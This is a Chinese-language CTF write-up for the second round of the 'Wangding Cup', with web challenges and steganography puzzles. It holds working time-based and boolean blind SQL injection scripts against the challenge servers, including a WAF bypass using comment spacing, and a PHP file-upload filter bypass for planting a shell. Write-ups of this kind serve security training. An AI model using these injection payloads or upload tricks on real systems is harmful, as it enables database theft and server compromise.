“网鼎杯”第二场Write up

WEB

unfinished

打开题目,显示登陆框,目录扫描发现有register.php,注册账号登陆什么都没有,就一个用户名。猜测可能是二次注入。
图片.png

构造payload: ' or (case when 1=1 then 'a' else 'b' end)='a,发现成功。
图片.png

另外过滤了information,逗号。没有information,只能猜测表名为flag。然后结合limit offset写个脚本跑去试了。

# -*- coding:utf8 -*-
import requests
import time
db_name=""
url= "http://7f01519f2fe14923acb0d2a096255f7302bd502b499a47ed.game.ichunqiu.com/register.php"
database=""
##当前数据库名长度##
for a in range(1,50):
   for i in range(30,148):
        db_payload="' or (case when ascii(mid((select * from flag limit 1 offset 0)from(%d)for(1)))='%d' then sleep(3) else 'b' end)='a"%(a,i)
        da={"email":"11@qq.com",
            "username":db_payload,
            "password":"11"}
        print(db_payload)
        startTime=time.time()
        r=requests.post(url,data=da,timeout=100)
        if time.time()-startTime>2:
            database+=chr(i)
            print(database)
            break
print(database)

服务器有毒跑一会就报错,只能几个字符几个字符的跑。很恶心,就不跑了。
图片.png
图片.png

wafupload

$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if (!empty($_FILES['file'])) {
    #mime check
    if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
        die('This type is not allowed!');
    }

    #check filename
    $file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
    if (!is_array($file)) {
        $file = explode('.', strtolower($file));
    }
    $ext = end($file);
    if (!in_array($ext, ['jpg', 'png', 'gif'])) {
        die('This file is not allowed!');
    }

    $filename = reset($file) . '.' . $file[count($file) - 1];
    if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
        echo 'Success!';
        echo 'filepath:' . $sandbox . '/' . $filename;
    } else {
        echo 'Failed!';
    }
}
show_source(__file__);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Upload Your Shell</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="text" name="filename"><br>
    <input type="file" name="file" id="file" />
    <input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

首先检查文件类型,然后检查是否输入文件名,以及文件名是否是数组。如果是数组文件后缀取数组的最后一个元素。最后用原文件名加数组的最后一个元素拼接成文件名。

burp抓包把文件的content-type改成允许的。
通过传入数组,让最后一个数组的内容在允许上传的文件后缀中。
$filename = reset($file) . '.' . $file[count($file) - 1];
构造$file=test.php/加上后面的.,然后让最后一个$file[count($file) - 1];等于空。
这里利用了move_uploaded_file的一个trick,move忽略/.变成test.php
图片.png
图片.png
还有一种方法
让最后一个数组文件名为png绕过后缀检查,然后让文件名和文件后缀都为php。也就是构造数组第一个元素为php,$file[count($file) - 1]也为php。
图片.png

sqlweb

爆破admin admin123登陆显示only wuyanzu can get the flag 。
waf:/sleep|benchmark|=|like|regexp|and|\|%|substr|union|\s+|group|floor|user|extractvalue|UpdateXml|ord|lpad|rpad|left|>|,|ascii/i !!! (trust me,no one can bypass it)
用户名错误会显示username error,否则显示passwd error。可以构造payload利用布尔盲注跑密码。
图片.png

# -*- coding:utf8 -*-
import requests
import string
st=string.ascii_letters+string.digits+string.punctuation
print(st)
db_name=""
url= "http://67a74e51e4a94331ab8e8be5656581bf13f219c4dcc7492e.game.ichunqiu.com/sql.php"
database=""

for a in range(1,50):
   for i in st:
        db_payload="wuyanzu'/**/&&/**/mid(passwd/**/from/**/%d/**/for/**/1)in('%s')#"%(a,i)
        da={"uname":db_payload,
            "passwd":1,
            "submit":"login"
            }
        #print(db_payload)
        r=requests.post(url,data=da,timeout=100)
        if 'passwd' in r.text:
            database+=i
            print(database)
            break
print(database)

图片.png

MISC

套娃

Lsb隐写,bgr通道
图片.png
可以直接用zsteg
图片.png

虚幻

binwalk发现里面有9张图片,用foremost分离出来
图片.png
放大后按顺序拼接到一起
图片.png
用stegsolve取R7保存并取反色
图片.png
补全汉信码的四个角,然后扫就可以了。
PS太菜了,补出来的扫不出东西。